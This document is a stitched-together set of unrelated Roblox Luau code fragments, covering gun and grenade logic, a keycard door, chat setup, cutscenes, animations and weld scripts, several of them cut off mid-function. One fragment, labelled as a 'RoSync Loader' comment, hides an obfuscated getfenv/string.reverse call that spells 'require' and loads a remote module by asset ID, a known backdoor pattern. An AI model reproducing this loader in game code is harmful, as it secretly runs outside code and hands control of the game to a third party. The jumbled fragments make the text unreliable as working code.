BurstFireRate = 1/(Settings.BurstFireRate/60)
ModoTreino = Settings.ModoTreino
Sens = Var.Sens
Zeroing = Var.Zeroing
Evt.Equipar:FireServer(ArmaClient,Settings)
Folder = Instance.new("Model", Camera)
Folder.Name = Tools.Name
AnimBase = Instance.new("Part", Folder)
AnimBase.FormFactor = "Custom"
AnimBase.CanCollide = false
AnimBase.Transparency = 1
AnimBase.Anchored = true
AnimBase.Name = "AnimBase"
AnimBase.Size = Vector3.new(0.1, 0.1, 0.1)
AnimBaseW = Instance.new("Motor6D")
AnimBaseW.Part0 = AnimBase
AnimBaseW.Part1 = HeadBase
AnimBaseW.Parent = AnimBase
AnimBaseW.Name = "AnimBaseW"
AnimBase.Anchored = false
Clone = Instance.new('Motor6D')
Clone.Name = 'Clone'
Clone.Parent = AnimBase
Clone.Part0 = AnimBase
Clone.Part1 = HeadBase
ArmaClone.Parent = Folder
for L_209_forvar1, L_210_forvar2 in pairs(ArmaClone:GetChildren()) do
if L_210_forvar2:IsA('BasePart') and L_210_forvar2.Name ~= 'Handle' then
if L_210_forvar2.Name ~= "Bolt" and L_210_forvar2.Name ~= 'Lid' then
Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("Handle"))
end
if L_210_forvar2.Name == "Bolt" or L_210_forvar2.Name == "Slide" then
Ultil.WeldComplex(ArmaClone:WaitForChild("Handle"), L_210_forvar2, L_210_forvar2.Name)
end;
if L_210_forvar2.Name == "Lid" then
if ArmaClone:FindFirstChild('LidHinge') then
Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("LidHinge"))
else
Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("Handle"))
end
end
end
end;
for L_213_forvar1, L_214_forvar2 in pairs(ArmaClone:GetChildren()) do
if L_214_forvar2:IsA('BasePart') and L_214_forvar2.Name ~= 'Grip' then
L_214_forvar2.Anchored = false
L_214_forvar2.CanCollide = false
end
end;
--LoadClientMods()
RA, LA, Right_Weld, Left_Weld, AnimBase, AnimBaseW = SetupMod(Folder, Ultil, Character, RA, LA, Right_Weld, Left_Weld, AnimBase, AnimBaseW, Settings, ArmaClone)
Equipped = true
if ArmaClone:FindFirstChild('Silenciador')~= nil then
if Silencer.Value == true then
ArmaClone.Silenciador.Transparency = 0
ArmaClone.SmokePart.FlashFX.Brightness = 0
ArmaClone.SmokePart:FindFirstChild("FlashFX[Flash]").Rate = 0
Evt.SilencerEquip:FireServer(ArmaClient,Silencer.Value)
else
ArmaClone.Silenciador.Transparency = 1
ArmaClone.SmokePart.FlashFX.Brightness = 5
ArmaClone.SmokePart:FindFirstChild("FlashFX[Flash]").Rate = 1000
Evt.SilencerEquip:FireServer(ArmaClient,Silencer.Value)
end
end
end
function Unset()
if ArmaClient then
Evt.Desequipar:FireServer(ArmaClient,Settings)
end
UnloadClientMods()
if Folder then
Folder:Destroy()
end
Equipped = false
Aiming = false
Safe = false
Bipod = false
LanternaAtiva = false
IRmode = false
LaserAtivo = false
--Silencer = false
CancelReload = false
Reloading = false
slideback = false
OverHeat = false
uis.MouseIconEnabled = true
game:GetService('UserInputService').MouseDeltaSensitivity = 1
Camera.CameraType = Enum.CameraType.Custom
Player.CameraMode = Enum.CameraMode.Classic
AimPartMode = 1
stance = 0
tweenFoV(70,15)
TS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()
Evt.SVLaser:FireServer(Vector3.new(0,0,0),2,nil,ArmaClient,IRmode)
if Gui then
Gui.Visible = false
end
for _,c in pairs(Connections) do
c:disconnect()
end
Connections = {}
Walking = false
a = false
d = false
end
function Update_Gui()
if CanUpdateGui then
if ArmaClone:FindFirstChild("BipodPoint") ~= nil then
Gui.Bipod.Visible = true
else
Gui.Bipod.Visible = false
end
if Settings.ArcadeMode == true then
Gui.Ammo.Visible = true
Gui.Ammo.AText.Text = Ammo.Value.."|"..Settings.Ammo
else
Gui.Ammo.Visible = false
end
if Settings.FireModes.Explosive == true and GLChambered.Value == true then
Gui.E.ImageColor3 = Color3.fromRGB(255,255,255)
Gui.E.Visible = true
elseif Settings.FireModes.Explosive == true and GLChambered.Value == false then
Gui.E.ImageColor3 = Color3.fromRGB(255,0,0)
Gui.E.Visible = true
elseif Settings.FireModes.Explosive == false then
Gui.E.Visible = false
end
if Safe == true then
Gui.A.Visible = true
else
Gui.A.Visible = false
end
if Chambered.Value == true and Ammo.Value > 0 and Emperrado.Value == false then
Gui.B.Visible = true
Gui.B.BackgroundColor3 = Color3.fromRGB(255,255,255)
elseif Chambered.Value == true and Ammo.Value > 0 and Emperrado.Value == true then
Gui.B.Visible = true
Gui.B.BackgroundColor3 = Color3.fromRGB(255,0,0)
else
Gui.B.Visible = false
end
Gui.FText.Text = Settings.Mode
if Settings.Mode ~= "Explosive" then
Gui.BText.Text = Settings.BulletType
else
Gui.BText.Text = "HEDP"
end
Gui.Sens.Text = (Sens.Value/100)
Gui.ZeText.Text = Zeroing.Value .." m"
Gui.NText.Text = Settings.Name
if Settings.Mode ~= "Explosive" then
if Settings.MagCount then
Gui.SAText.Text = math.ceil(StoredAmmo.Value/Settings.Ammo)
else
Gui.SAText.Text = StoredAmmo.Value
end
else
Gui.SAText.Text = GLAmmo.Value
end
if Silencer.Value == true then
Gui.Silencer.Visible = true
else
Gui.Silencer.Visible = false
end
if LaserAtivo == true then
Gui.Laser.Visible = true
if IRmode then
Gui.Laser.ImageColor3 = Color3.new(0,255,0)
else
Gui.Laser.ImageColor3 = Color3.new(255,255,255)
end
else
Gui.Laser.Visible = false
end
if LanternaAtiva == true then
Gui.Flash.Visible = true
else
Gui.Flash.Visible = false
end
end
end
function CheckMagFunction()
if CanUpdateGui then
Gui.CMText.TextTransparency = 0
Gui.CMText.TextStrokeTransparency = 0.9
if Ammo.Value >= Settings.Ammo then
Gui.CMText.Text = "Full"
elseif Ammo.Value > math.floor((Settings.Ammo)*.75) and Ammo.Value < Settings.Ammo then
Gui.CMText.Text = "Nearly full"
elseif Ammo.Value < math.floor((Settings.Ammo)*.75) and Ammo.Value > math.floor((Settings.Ammo)*.5) then
Gui.CMText.Text = "Almost half"
elseif Ammo.Value == math.floor((Settings.Ammo)*.5) then
Gui.CMText.Text = "Half"
elseif Ammo.Value > math.ceil((Settings.Ammo)*.25) and Ammo.Value < math.floor((Settings.Ammo)*.5) then
Gui.CMText.Text = "Less than half"
elseif Ammo.Value < math.ceil((Settings.Ammo)*.25) and Ammo.Value > 0 then
Gui.CMText.Text = "Almost empty"
elseif Ammo.Value == 0 then
Gui.CMText.Text = "Empty"
end
TS:Create(Gui.CMText,TweenInfo.new(10),{TextTransparency = 1,TextStrokeTransparency = 1}):Play()
end
end
function Sprint()
if Equipped then
if Correndo and SpeedPrecision > 0 then
MouseHeld = false
if Aiming then
game:GetService('UserInputService').MouseDeltaSensitivity = 1
ArmaClone.Handle.AimUp:Play()
tweenFoV(70,120)
Aiming = false
TS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()
end
if not Safe and not AnimDebounce then
stance = 3
Evt.Stance:FireServer(stance,Settings,Anims)
SprintAnim()
end
elseif not Correndo or SpeedPrecision == 0 then
if not Safe and not AnimDebounce then
if Aiming then
stance = 2
Evt.Stance:FireServer(stance,Settings,Anims)
IdleAnim()
else
stance = 0
Evt.Stance:FireServer(stance,Settings,Anims)
IdleAnim()
end
end
end
end
end
Sprinting.Changed:connect(function(Valor)
Correndo = Valor
Sprint()
end)
|
--use this to determine if you want this human to be harmed or not, returns boolean
|
function checkTeams(otherHuman)
return not (sameTeam(otherHuman) and not FriendlyFire==true)
end
function boom()
wait(1.5)
Used = true
Object.Anchored = true
Object.CanCollide = true
Object.Orientation = Vector3.new(0,0,0)
Object.Transparency = 1
Object.Explode:Play()
Object.Explosion:Emit(100)
Explode()
end
Object.Touched:Connect(function(part)
if Used == true or part.Name == "Handle" then return end
if part:IsDescendantOf(Tag.Value.Character) then return end
if part.Parent then
if part.Parent:FindFirstChild("Humanoid") then
local human = part.Parent.Humanoid
if checkTeams(human) then
tagHuman(human)
human:TakeDamage(Damage)
end
end
Used = true
Object.Impact:Play()
Object.Velocity = Vector3.new(Object.Velocity.x/10,Object.Velocity.y/10,Object.Velocity.z/10)
Object.RotVelocity = Vector3.new(Object.RotVelocity.x/10,Object.RotVelocity.y/10,Object.RotVelocity.z/10)
game:GetService("Debris"):AddItem(Object, 10)
end
end)
boom()
|
--[[*
* Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
]]
|
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Error = LuauPolyfill.Error
local String = LuauPolyfill.String
local exports = {}
|
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableHolster = false
,HolsterTo = 'Torso' -- Put the name of the body part you wanna holster to
,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
,RightArmPos = CFrame.new(-0.85, -0.2, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server
,LeftArmPos = CFrame.new(1.2,-0.2,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20)) --server
,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0))
,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))
,RightPos = CFrame.new(-.9, .15, -1.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client
,LeftPos = CFrame.new(1,-1,-1) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)) --Client
}
return Config
|
--local pln_ID = math.random(0,300) +2312
--script.Parent.Pln_ID.Value = pln_ID
|
plane=nil
hold=false
vSpeed = 0
taxiing = true
local debounce = false
local planedebounce = false
local stuntdebounce = false
local controlling = false
local on = false
local Mousefollow = false
local faster = false
local slower = false
local uper = false
local downer = false
local sideright = false
local sideleft = false
local sideway = 0
local minigun_shoot = false
local missile_side = 1
local show_ammo = false
local startLock = false
|
--[=[
@param tbl table
@param name string
@param inboundMiddleware ServerMiddleware?
@param outboundMiddleware ServerMiddleware?
@return RemoteFunction
]=]
|
function ServerComm:WrapMethod(tbl: {}, name: string, inboundMiddleware: ServerMiddleware?, outboundMiddleware: ServerMiddleware?): RemoteFunction
return Comm.Server.WrapMethod(self._instancesFolder, tbl, name, inboundMiddleware, outboundMiddleware)
end
|
--// Rest of code after waiting for correct events.
|
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
while not LocalPlayer do
Players.ChildAdded:wait()
LocalPlayer = Players.LocalPlayer
end
local canChat = true
local ChatDisplayOrder = 6
if ChatSettings.ScreenGuiDisplayOrder ~= nil then
ChatDisplayOrder = ChatSettings.ScreenGuiDisplayOrder
end
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
local GuiParent = Instance.new("ScreenGui")
GuiParent.Name = "Chat"
GuiParent.ResetOnSpawn = false
GuiParent.DisplayOrder = ChatDisplayOrder
GuiParent.Parent = PlayerGui
local DidFirstChannelsLoads = false
local modulesFolder = script
local moduleChatWindow = require(modulesFolder:WaitForChild("ChatWindow"))
local moduleChatBar = require(modulesFolder:WaitForChild("ChatBar"))
local moduleChannelsBar = require(modulesFolder:WaitForChild("ChannelsBar"))
local moduleMessageLabelCreator = require(modulesFolder:WaitForChild("MessageLabelCreator"))
local moduleMessageLogDisplay = require(modulesFolder:WaitForChild("MessageLogDisplay"))
local moduleChatChannel = require(modulesFolder:WaitForChild("ChatChannel"))
local moduleCommandProcessor = require(modulesFolder:WaitForChild("CommandProcessor"))
local ChatWindow = moduleChatWindow.new()
local ChannelsBar = moduleChannelsBar.new()
local MessageLogDisplay = moduleMessageLogDisplay.new()
local CommandProcessor = moduleCommandProcessor.new()
local ChatBar = moduleChatBar.new(CommandProcessor, ChatWindow)
ChatWindow:CreateGuiObjects(GuiParent)
ChatWindow:RegisterChatBar(ChatBar)
ChatWindow:RegisterChannelsBar(ChannelsBar)
ChatWindow:RegisterMessageLogDisplay(MessageLogDisplay)
MessageCreatorUtil:RegisterChatWindow(ChatWindow)
local MessageSender = require(modulesFolder:WaitForChild("MessageSender"))
MessageSender:RegisterSayMessageFunction(EventFolder.SayMessageRequest)
if (UserInputService.TouchEnabled) then
ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarTextTouch",'Tap here to chat'))
else
ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarText",'To chat click here or press "/" key'))
end
spawn(function()
local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil"))
local animationFps = ChatSettings.ChatAnimationFPS or 20.0
local updateWaitTime = 1.0 / animationFps
local lastTick = tick()
while true do
local currentTick = tick()
local tickDelta = currentTick - lastTick
local dtScale = CurveUtil:DeltaTimeToTimescale(tickDelta)
if dtScale ~= 0 then
ChatWindow:Update(dtScale)
end
lastTick = currentTick
wait(updateWaitTime)
end
end)
|
--[[ Last synced 11/11/2020 02:39 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--Choose One From These Two Scripts Choose V2 It's Better Then V1
--And it's More Updated.
--Choose One Of The Two Or It Won't Work.
--Thanks For Using My Script.
| |
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
|
local door = script.Parent
local CanOpen1 = true
local CanClose1 = false
local clearance = {
["[SCP] Card-Omni"] = true,
["[SCP] Card-L5"] = true,
["[SCP] Card-L4"] = true,
["[SCP] Card-L3"] = false,
["[SCP] Card-L2"] = false,
["[SCP] Card-L1"] = false
}
--DO NOT EDIT PAST THIS LINE--
function openDoor()
for i = 3,(door.Size.z / 0.15) do
wait()
door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.15)
end
end
function closeDoor()
for i = 3,(door.Size.z / 0.15) do
wait()
door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.15)
end
end
script.Parent.Parent.KeycardReader1.touched:connect(function(touch)
if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
CanOpen1 = false
wait(0.75)
openDoor()
wait(1)
CanClose1 = true
elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
CanClose1 = false
wait(0.75)
closeDoor()
wait(1)
CanOpen1 = true
end
end)
script.Parent.Parent.KeycardReader2.touched:connect(function(touch)
if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
CanOpen1 = false
wait(0.75)
openDoor()
wait(1)
CanClose1 = true
elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
CanClose1 = false
wait(0.75)
closeDoor()
wait(1)
CanOpen1 = true
end
end)
|
-- This function is monkey patched to return MockDataStoreService during tests
|
local DataStoreService = game:GetService("DataStoreService")
local DataStoreServiceRetriever = {}
function DataStoreServiceRetriever.Get()
return DataStoreService
end
return DataStoreServiceRetriever
|
-- Loading
|
local CutsceneFolder = workspace.Cutscenes:WaitForChild("Died") -- The folder that contains the cutscene data (Cameras...)
local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around!
local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded
local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.
local Cutscene = require(CutsceneModule)
local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene
Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder
local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch")
local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin")
local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded")
local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied")
local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire")
local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire")
local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying")
local CharacterProtector = script:FindFirstChild("CharacterProtector")
local Music = script:FindFirstChild("Music")
local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished")
local StopOnEventFire = script:FindFirstChild("StopOnEventFire")
local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire")
local PlayOnce = script:FindFirstChild("PlayOnce")
local Debounce = script:FindFirstChild("Cooldown")
local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove")
local bin = true
local Player = game:GetService("Players").LocalPlayer
local CutsceneGui = script:FindFirstChild("Cutscene")
|
-- Services
|
local PlayersService = game:GetService("Players")
|
-- map a value from one range to another
|
function CameraUtils.map(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number
return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end
|
-- Using the desired target rotation and elevation, determine where the gun should point right now (smoothly turn)
|
function getSmoothRotation(rotations)
local targElev = rotations[1];
local targRot = rotations[2];
local maxGunDepression = tankStats.GunHandling.GunDepression.Value;
local maxTraverse = tankStats.GunHandling.GunTraverse.Value;
-- Restrict the height of travel of the gun
if math.abs(targElev) > maxGunDepression then
targElev = maxGunDepression*sign(targElev);
end
if math.abs(targRot) > maxTraverse then
targRot = maxTraverse*sign(targRot);
end
-- Once target angles are set, slowly turn turret towards them
-- Elevation
local elevDiff = targElev - currentElev;
if math.abs(elevDiff) < 0.01 then -- If they're close
currentElev = targElev;
else -- Move towards it
currentElev = currentElev + 0.01*sign(elevDiff);
end
local rotDiff = targRot - currentRot;
local turretSpeed = tankStats.GunHandling.TurretSpeed.Value;
if math.abs(rotDiff) < turretSpeed then -- If they're close
currentRot = targRot;
else -- Move towards it
currentRot = currentRot + turretSpeed*sign(rotDiff);
end
-- Put rotation and elevation into an array
local rotations = {};
rotations[1] = targElev;
rotations[2] = targRot;
return rotations;
end
|
-- The absolute ceiling limit that the player can jump before
-- triggering the anticheat.
|
config.JumpHeightTolerance = 11
|
-- Animate.Rainbow = require(script:WaitForChild("Rainbow"))
|
Animate.Rotate = require(script:WaitForChild("Rotate"))
Animate.Animations = {
--[[ Tool = {
Idle = animation_track;
Action = {
animation_track;
animation_track;
animation_track;
}
}]]--
}
Animate.Last = {}
Animate.Humanoid = nil; -- Player requires this module and sets this.
function Animate.GetHumanoid()
if not Animate.Humanoid then
repeat wait() until Animate.Humanoid and Animate.Humanoid:IsDescendantOf(workspace)
end
return Animate.Humanoid
end
function Animate.GetNextNumber(category,state)
local category_list = Animate.Animations[category]
local state_list = category_list and category_list[state] or nil
if state_list then
local state_last_number = Animate.Last[category][state] or 1
local next_number = (state_last_number + 1 <= #state_list) and state_last_number+1 or 1
return next_number
end
return 1
end
-- stops the animation from the current category of the given state.
-- if no state is given, stop all
function Animate.Stop(category,state)
if category then
if state then
local track = Animate.Animations[category][state][Animate.Last[category][state]]
if track then
track:Stop()
end
else
if Animate.Animations[category]then
for state,tracks in pairs(Animate.Animations[category]) do
for _,track in pairs(tracks) do
if track then
track:Stop()
end
end
end
end
end
end
end
function Animate.Play(category,state,number,at_speed)
if category and state then
local category_list = Animate.Animations[category]
if category_list then
local state_list = category_list[state]
if state_list then
local state_last_number = Animate.Last[state]
number = number or Animate.GetNextNumber(category,state)
Animate.Last[category][state] = number
state_list[number]:Play()
state_list[number]:AdjustSpeed(at_speed or 1.0)
end
end
end
end
-- creates a new animation track, and saves it to Animate.Animations[category][state]
function Animate.Load(category,state,id,replace_slot)
if category and state and id then
local humanoid = Animate.GetHumanoid()
local animation = Instance.new("Animation")
animation.AnimationId = id
local track = humanoid:LoadAnimation(animation)
Animate.Animations[category] = Animate.Animations[category] or {}
Animate.Animations[category][state] = Animate.Animations[category][state] or {}
if not replace_slot then
table.insert(Animate.Animations[category][state], track)
else
for i=1,#Animate.Animations[category][state] do -- loop thru and replace the animation track with the new one (called from reload)
local t = Animate.Animations[category][state][i]
if t.Animation.AnimationId == id then
Animate.Animations[category][state][i] = track;
end
end
end
Animate.Last[category] = {
[state] = 1;
}
return track
end
end
-- removes an id from the state list.
-- if no state supplied, all states are unloaded (set to {})
-- if no id supplied, sets the state list to {};
function Animate.Unload(category,state,id)
local category_list = Animate.Animations[category]
if not state and category_list then
for state,list in pairs(category_list) do
category_list[state] = {}
end
else
local state_list = category_list and category_list[state] or nil
if state_list then
if id then
for i=1,#state_list do
if state_list[i] == id then
table.remove(state_list,i)
end
end
else
category_list[state] = {};
end
end
end
end
function Animate.GetTrack(category, state, id)
if Animate.Animations[category] and Animate.Animations[category][state] then
for _, track in pairs(Animate.Animations[category][state]) do
if track.Animation.AnimationId == id then
return track
end
end
end
end
-- reloads all the current anims
function Animate.Reload()
for category, states in pairs(Animate.Animations) do
for state, tracks in pairs(states) do
for track_num, track in pairs(tracks) do
Animate.Load(category, state, track.Animation.AnimationId, true)
end
end
end
end
return Animate
|
--[=[
Initializes the datastore service for players. Should be done via [ServiceBag.Start].
]=]
|
function PlayerDataStoreService:Start()
-- Give time for configuration
self._started:Resolve()
end
|
--Made by Luckymaxer
|
Debris = game:GetService("Debris")
Camera = game:GetService("Workspace").CurrentCamera
Sounds = {
RayHit = script:WaitForChild("Hit")
}
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
BaseRay = BasePart:Clone()
BaseRay.Name = "Laser"
BaseRay.BrickColor = BrickColor.new("Cyan")
BaseRay.Material = Enum.Material.Neon
BaseRay.Size = Vector3.new(0.2, 0.2, 0.2)
BaseRay.Anchored = true
BaseRay.CanCollide = false
BaseRayMesh = Instance.new("SpecialMesh")
BaseRayMesh.Name = "Mesh"
BaseRayMesh.MeshType = Enum.MeshType.Brick
BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1)
BaseRayMesh.Offset = Vector3.new(0, 0, 0)
BaseRayMesh.VertexColor = Vector3.new(1, 1, 1)
BaseRayMesh.Parent = BaseRay
function PlaySound(Position, Sound)
local SoundPart = BasePart:Clone()
SoundPart.Name = "ParticlePart"
SoundPart.Transparency = 1
SoundPart.Anchored = true
SoundPart.CanCollide = false
local SoundObject = Sound:Clone()
SoundObject.Parent = SoundPart
Debris:AddItem(SoundPart, 1.5)
SoundPart.Parent = game:GetService("Workspace")
SoundPart.CFrame = CFrame.new(Position)
SoundObject:Play()
end
function FireRay(StartPosition, TargetPosition, Hit)
local Vec = (TargetPosition - StartPosition)
local Distance = Vec.magnitude
local Direction = Vec.unit
local PX = (StartPosition + (0.0 * Distance) * Direction)
local PY = (StartPosition + (0.0 * Distance) * Direction)
local PZ = (StartPosition + (0.0 * Distance) * Direction)
local DX = (StartPosition - PX).magnitude
local DY = (PX - PY).magnitude
local DZ = (PY - PZ).magnitude
local Limit = 2
local AX = (PX + Vector3.new(math.random(math.max(-Limit, (-0.0 * DX)), math.min(Limit, (0.21 * DX))),math.random(math.max(-Limit, (-0.21 * DX)),math.min(Limit, (0.21 * DX))), math.random(math.max(-Limit, (-0.21 * DX)), math.min(Limit, (0.21 * DX)))))
local AY = (PY + Vector3.new(math.random(math.max(-Limit, (-0.0 * DY)), math.min(Limit, (0.21 * DY))),math.random(math.max(-Limit, (-0.21 * DY)),math.min(Limit, (0.21 * DY))), math.random(math.max(-Limit, (-0.21 * DY)), math.min(Limit, (0.21 * DY)))))
local AZ = (PZ + Vector3.new(math.random(math.max(-Limit, (-0.0 * DZ)), math.min(Limit, (0.21 * DZ))),math.random(math.max(-Limit, (-0.21 * DZ)),math.min(Limit, (0.21 * DZ))), math.random(math.max(-Limit, (-0.21 * DZ)), math.min(Limit, (0.21 * DZ)))))
local Rays = {
{Distance = (AX - StartPosition).magnitude, Direction = CFrame.new(StartPosition, AX)},
{Distance = (AY - AX).magnitude, Direction = CFrame.new(AX, AY)},
{Distance = (AZ - AY).magnitude, Direction = CFrame.new(AY, AZ)},
{Distance = (TargetPosition - AZ).magnitude, Direction = CFrame.new(AZ, TargetPosition)},
}
for i, v in pairs(Rays) do
local Ray = BaseRay:Clone()
Ray.BrickColor = BrickColor.new("Lime green")
Ray.Reflectance = 0
Ray.Transparency = 0 --1
Ray.Material = Enum.Material.Neon
local Mesh = Ray.Mesh
Mesh.Scale = (Vector3.new(0.15, 0.15, (v.Distance / 1)) * 5)
Ray.CFrame = (v.Direction * CFrame.new(0, 0, (-0.5 * v.Distance)))
Debris:AddItem(Ray, (0.1 / (#Rays - (i - 1))))
Ray.Parent = Camera
end
end
pcall(function()
local StartPosition = script:WaitForChild("StartPosition").Value
local TargetPosition = script:WaitForChild("TargetPosition").Value
local RayHit = script:WaitForChild("RayHit").Value
FireRay(StartPosition, TargetPosition)
if RayHit then
PlaySound(TargetPosition, Sounds.RayHit)
end
end)
Debris:AddItem(script, 1)
|
-- Libraries
|
RbxUtility = require(script.LoadLibrary.RbxUtility)
Support = require(Tool.SupportLibrary);
Security = require(Tool.SecurityModule);
RegionModule = require(Tool['Region by AxisAngle']);
Serialization = require(Tool.SerializationModule);
Create = RbxUtility.Create;
CreateSignal = RbxUtility.CreateSignal;
|
-- Make the AnimBase
|
L_15_ = Instance.new("Part", L_3_)
L_15_.FormFactor = "Custom"
L_15_.CanCollide = false
L_15_.Transparency = 1
L_15_.Anchored = false
L_15_.Name = "AnimBase"
L_16_ = Instance.new("Motor6D")
L_16_.Part0 = L_15_
L_16_.Part1 = L_40_
L_16_.Parent = L_15_
L_16_.Name = "AnimBaseW"
--AnimBaseW.C1 = gunSettings.StartPose
L_12_ = Instance.new("Motor6D")
L_12_.Part0 = L_3_['Right Arm']
L_12_.Part1 = L_1_:FindFirstChild('Grip')
L_12_.Parent = L_3_['Right Arm']
L_12_.C1 = L_11_.GunPos
L_12_.Name = "Grip"
for L_42_forvar1, L_43_forvar2 in pairs(L_1_:GetChildren()) do
if L_43_forvar2:IsA("Part") or L_43_forvar2:IsA("MeshPart") or L_43_forvar2:IsA("UnionOperation") then
L_43_forvar2.Anchored = true
if L_43_forvar2.Name ~= "Grip" then
Weld(L_43_forvar2, L_1_:WaitForChild("Grip"))
end
end
end
for L_44_forvar1, L_45_forvar2 in pairs(L_1_:GetChildren()) do
if L_45_forvar2:IsA("Part") or L_45_forvar2:IsA("MeshPart") or L_45_forvar2:IsA("UnionOperation") then
L_45_forvar2.Anchored = false
end
end
L_17_ = L_3_['Right Arm']
L_18_ = L_3_['Left Arm']
L_21_ = L_3_.Torso:WaitForChild("Right Shoulder")
L_22_ = L_3_.Torso:WaitForChild("Left Shoulder")
L_19_ = Instance.new("Motor6D")
L_19_.Name = "RAW"
L_19_.Part0 = L_15_
L_19_.Part1 = L_17_
L_19_.Parent = L_15_
L_19_.C1 = L_11_.RightArmPos
L_3_.Torso:WaitForChild("Right Shoulder").Part1 = nil
L_20_ = Instance.new("Motor6D")
L_20_.Name = "LAW"
L_20_.Part0 = L_15_
L_20_.Part1 = L_18_
L_20_.Parent = L_15_
L_20_.C1 = L_11_.LeftArmPos
L_3_.Torso:WaitForChild("Left Shoulder").Part1 = nil
if L_27_ then
L_27_:Destroy()
end
L_28_:FireClient(L_2_, true, L_12_, L_15_, L_16_, L_19_, L_20_, L_14_)
end)
L_1_.Unequipped:connect(function()
local L_46_ = L_3_:FindFirstChild('Torso')
local L_47_ = L_3_:FindFirstChild('Head')
L_27_ = L_3_:FindFirstChild('HolsterModel') or Instance.new('Model', L_3_)
L_27_.Name = "HolsterModel"
for L_48_forvar1, L_49_forvar2 in pairs(L_1_:GetChildren()) do
for L_50_forvar1, L_51_forvar2 in pairs(L_49_forvar2:GetChildren()) do
if L_51_forvar2.ClassName == "Motor6D" then
L_51_forvar2:Destroy()
end
end
end
for L_52_forvar1, L_53_forvar2 in pairs(L_1_:GetChildren()) do
if L_53_forvar2:IsA("Part") or L_53_forvar2:IsA("MeshPart") or L_53_forvar2:IsA("UnionOperation") then
L_53_forvar2.Anchored = true
end
end
L_46_:WaitForChild("Neck").Part1 = L_47_
L_46_:WaitForChild("Neck").C1 = L_46_:WaitForChild("Neck").C1
L_46_:WaitForChild("Neck").C0 = L_46_:WaitForChild("Neck").C0
L_15_:Destroy()
L_14_:Destroy()
L_21_.Part1 = L_17_
L_22_.Part1 = L_18_
L_28_:FireClient(L_2_, false)
if L_11_.HolsteringEnabled then
for L_55_forvar1, L_56_forvar2 in pairs(L_1_:GetChildren()) do
if L_56_forvar2:IsA("Part") or L_56_forvar2:IsA("MeshPart") or L_56_forvar2:IsA("UnionOperation") then
L_56_forvar2.Anchored = true
local L_57_ = L_56_forvar2:clone()
L_57_.Parent = L_27_
end
end;
for L_58_forvar1, L_59_forvar2 in pairs(L_27_:GetChildren()) do
Weld(L_59_forvar2, L_27_:WaitForChild("Grip"))
end
local L_54_ = Weld(L_27_:WaitForChild("Grip"), L_3_:WaitForChild('Torso'))
L_54_.Name = "TWeld"
L_54_.C1 = L_11_.HolsterPos
for L_60_forvar1, L_61_forvar2 in pairs(L_27_:GetChildren()) do
L_61_forvar2.Anchored = false
end
end
end)
L_3_.Humanoid.Died:connect(function()
